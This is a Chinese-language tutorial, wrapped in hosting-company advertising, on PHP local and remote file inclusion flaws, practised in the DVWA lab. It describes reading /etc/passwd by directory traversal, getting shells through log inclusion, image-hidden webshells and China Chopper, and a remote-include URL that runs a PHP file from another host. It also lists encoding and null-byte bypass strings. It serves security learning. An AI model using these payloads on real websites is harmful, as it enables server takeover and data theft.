十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
本实验是基于DVWA和sqli-labs的实验环境
目前成都创新互联公司已为成百上千家的企业提供了网站建设、域名、网页空间、成都网站托管、企业网站设计、双江网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码对应即可。
0x01:文件包含漏洞
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
这也算官方的解释吧,用个人的话说,通过浏览器、url地址或者是一个参数的变量的内容,可以通过修改这些url或者参数变量的内容,读取到web根目录以前其他文件,但是不同于目录浏览,目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称,把目录列表给列出来。
文件包含漏洞形成原因
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
常见文件包含函数
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():这两个函数和前两个函数作用几乎相同,区别在于若文件中代码已被包含则不会再次包含
LFI(本地包含漏洞)目录遍历可以理解为本地包含漏洞,验证以及利用方法都相同。
RFI(远程包含漏洞)可以包含进其他主机的url地址,如自己开放一个www服务,然后在上面放一个***文件,如果是代码会在这个机器上执行的。拿到shell的权限要看运行www服务的帐号。
包含漏洞的特征:(这个可以说是文中的干货了)
在某一个页面中,一个变量的值等于一个页面文件或者是一个固定的值,如
?page=a.asp
?home=b.html
?file=content
漏洞分类
本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
远程文件包含:可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为On
0x02、文件包含漏洞利用
1、包含读出目标机上其它文件
如果对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件
在linux中,"."表示当前目录,“..”表示上一层目录,当../到根目录下,再往上层父目录仍旧是根目录。
用常见的“../”包含出日志文件。
2、包含可运行的PHP***
在很多地方,我们都可以上传图片,如上传头像,图片等,这这里先上传图片,图片的内容为一句话***
由于上传的限制,一般只能上传jpg,png的图片格式,代码无法执行,我们用本地包含的方式将图片包含进来,代码就执行了,代码不需要后缀名是php、asp的格式,只要内容是代码即可执行。
然后用中国菜刀连接(功夫再高,也怕菜刀!)
3.远程包含url和php***
如果目标主机的"allow_url_fopen"是激活的(默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行
不需要后缀名是php、asp的格式,只要内容是代码就可以。
出现概率少于本地包含,但更容易被利用
如在自己服务器上写上一句话代码,然后用远程包含漏洞去包含这个链接,
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php
然后同上,用菜刀连接,获取webshell。
0x03、包含漏洞绕过技巧
在利用包含漏洞中,经常遇到一个问题,在查看page=/etc/passwd的时候,出现报错,找不到/etc/passwd.php文件,说明默认自动加上了后缀名.php,绕过的方式有一下几种
1.编码绕过字符过滤
(1)加“.”,当加点,会忽略点后面的内容。
(2)“%00”,即null空字符(/etc/passwd%00),在php语言格式里,当遇到%00的时候,后面不管有无其他东西,都不看了,只看%00前面的内容
(3)“#”,绕过文件扩展名过滤
2、编码
url编码、双层(多层)url编码
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%25%2e%25%2e%255c 解码:..\(可使用burp多层编码和解码)
uniclode/UTF-8编码
..%c0%af 解码:../
%c1%9c 解码:..\
但编码能否正确的起到效果,得看web server是否能对编码后的做解析
3、其他系统可能是使用到的特殊字符
file.txt ...
file.txt
file .txt """"""""
file.txt <<>><
./././ file.txt
4、***向量字典
在kali中,也存在***向量字典路径是“/usr/share/wfuzz/wordlist/vulns”
利用条件
程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
用户能够控制该动态变量
漏洞危害
这类漏洞看起来貌似并不严重,一旦被恶意利用则会带来很大的危害。本地文件包含不仅能够包含web文件目录中的一些配置文件(比如Web应用、数据库配置文件、config文件),还可以查看到一些Web动态页面的源代码,为***者进一步发掘web应用漏洞提供条件,甚至一旦与路径遍历漏洞相结合,还可能直接攫取目标系统的用户名与密码等文件。并且能执行任意代码,甚至控制服务器。
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。